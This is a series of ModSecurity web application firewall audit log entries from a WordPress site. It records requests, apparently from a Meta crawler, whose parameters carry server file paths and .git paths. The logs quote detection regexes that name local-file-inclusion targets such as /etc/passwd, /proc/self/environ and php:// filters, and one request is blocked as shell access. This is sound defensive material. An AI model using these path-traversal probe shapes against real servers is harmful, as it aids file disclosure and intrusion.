{"transaction":{"time":"13/Mar/2026:01:22:33.468906 +0100","transaction_id":"abNYyH6c0W8rkQnlo8I6iAAAAcI","remote_address":"57.141.20.49","remote_port":57954,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/grep.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"9abfc5ae7e7b550bc7a108014ff092df","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30512467"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9abfc5ae7e7b550bc7a108014ff092df","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_TW/LC_MESSAGES/grep.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":375,"p2":6331,"p3":0,"p4":0,"p5":372,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:47.041393 +0100","transaction_id":"abNY1vGYjQkrq8Uo_Ez8OQAAAIA","remote_address":"57.141.20.49","remote_port":54336,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/ITU-ALARM-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"80dbc8a8105c297cd797839b684e6d10","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6284534"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"80dbc8a8105c297cd797839b684e6d10","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/ITU-ALARM-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":335,"p2":12126,"p3":0,"p4":0,"p5":466,"sr":180,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:49.601907 +0100","transaction_id":"abNY2FWNXJO_mmQISINB8wAAAUc","remote_address":"57.141.20.32","remote_port":48090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/96/57564f3cdbde516f39c1d4dfeba61b9bdc9dfb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"0f357a10b43d0f1a9b14a12c5eb815c6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6284540"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"0f357a10b43d0f1a9b14a12c5eb815c6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/96/57564f3cdbde516f39c1d4dfeba61b9bdc9dfb||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":335,"p2":8651,"p3":0,"p4":0,"p5":474,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:50.580072 +0100","transaction_id":"abNY2X6c0W8rkQnlo8I6nAAAAdA","remote_address":"65.109.118.212","remote_port":48100,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"0271548fe50fe1d16f00c84839f21643","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25211242","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"0271548fe50fe1d16f00c84839f21643","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":9495,"p3":0,"p4":0,"p5":320,"sr":160,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:53.871564 +0100","transaction_id":"abNY3AhXxndD9xDx47xFPgAAAFM","remote_address":"57.141.20.28","remote_port":48124,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.3/include/php/Zend/zend_list.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"aece73ebfd81999704623b47dbc5aa64","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19667803"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"aece73ebfd81999704623b47dbc5aa64","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.3/include/php/Zend/zend_list.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":311,"p2":10576,"p3":0,"p4":0,"p5":477,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:55.174332 +0100","transaction_id":"abNY3ghXxndD9xDx47xFQgAAAE8","remote_address":"57.141.20.7","remote_port":48252,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/l/lisaterm HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"9caf3cfbc3393d20374f5c744c801f7b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19340179"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"9caf3cfbc3393d20374f5c744c801f7b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/l/lisaterm||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":355,"p2":35760,"p3":0,"p4":0,"p5":1020,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:58.812660 +0100","transaction_id":"abNY4QPfUmAczd2QoGW7igAAAAo","remote_address":"57.141.20.57","remote_port":48208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/kn/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"61c0ef62f9915722b6829c31b4417d69","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26185843"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"61c0ef62f9915722b6829c31b4417d69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/kn/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":9934,"p3":0,"p4":0,"p5":427,"sr":147,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:00.738449 +0100","transaction_id":"abNY5FWNXJO_mmQISINCBwAAAUc","remote_address":"57.141.20.57","remote_port":48090,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/sftproot/htdocs/apps.jmkconsulting-ci.com/core/vendor/bin/psysh HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"504816f2dd935181140ab292c8e93a1c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4768684"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"504816f2dd935181140ab292c8e93a1c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abNY5FWNXJO_mmQISINCBwAAAUc\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":343,"p2":8307,"p3":0,"p4":0,"p5":360,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:04.343529 +0100","transaction_id":"abNY51WNXJO_mmQISINCDQAAAUw","remote_address":"57.141.20.51","remote_port":48142,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/nb/LC_MESSAGES/Linux-PAM.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"ff06c6349171bdca115d4d354a597d13","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28806072"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ff06c6349171bdca115d4d354a597d13","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/nb/LC_MESSAGES/Linux-PAM.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":351,"p2":10668,"p3":0,"p4":0,"p5":725,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:08.603083 +0100","transaction_id":"abNY61WNXJO_mmQISINCIgAAAUA","remote_address":"57.141.20.47","remote_port":53094,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/mailin/mailin.3.1.77.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"70fc049688043f581052ec36bea2c72c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27493697"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"70fc049688043f581052ec36bea2c72c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/mailin/mailin.3.1.77.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":350,"p2":6452,"p3":0,"p4":0,"p5":409,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:23.032251 +0100","transaction_id":"abNY-ghXxndD9xDx47xFgwAAAEw","remote_address":"57.141.20.29","remote_port":54370,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/sftproot/htdocs/sivaco/.git/refs/heads/master HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"a9cd94f22a1df4a203827d842ba97a1d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2317267"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a9cd94f22a1df4a203827d842ba97a1d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/sftproot/htdocs/sivaco/.git/refs/heads/master||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":324,"p2":11568,"p3":0,"p4":0,"p5":439,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:23:25.637512 +0100","transaction_id":"abNY_FWNXJO_mmQISINCSQAAAU4","remote_address":"57.141.20.32","remote_port":58766,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/d/dm1521 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"789a1c2900399272c54bd806cb11c42b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28905813"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"789a1c2900399272c54bd806cb11c42b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/dm1521||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":665,"p2":8963,"p3":0,"p4":0,"p5":6749,"sr":160,"sw":0,"l":0,"gc":6430},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
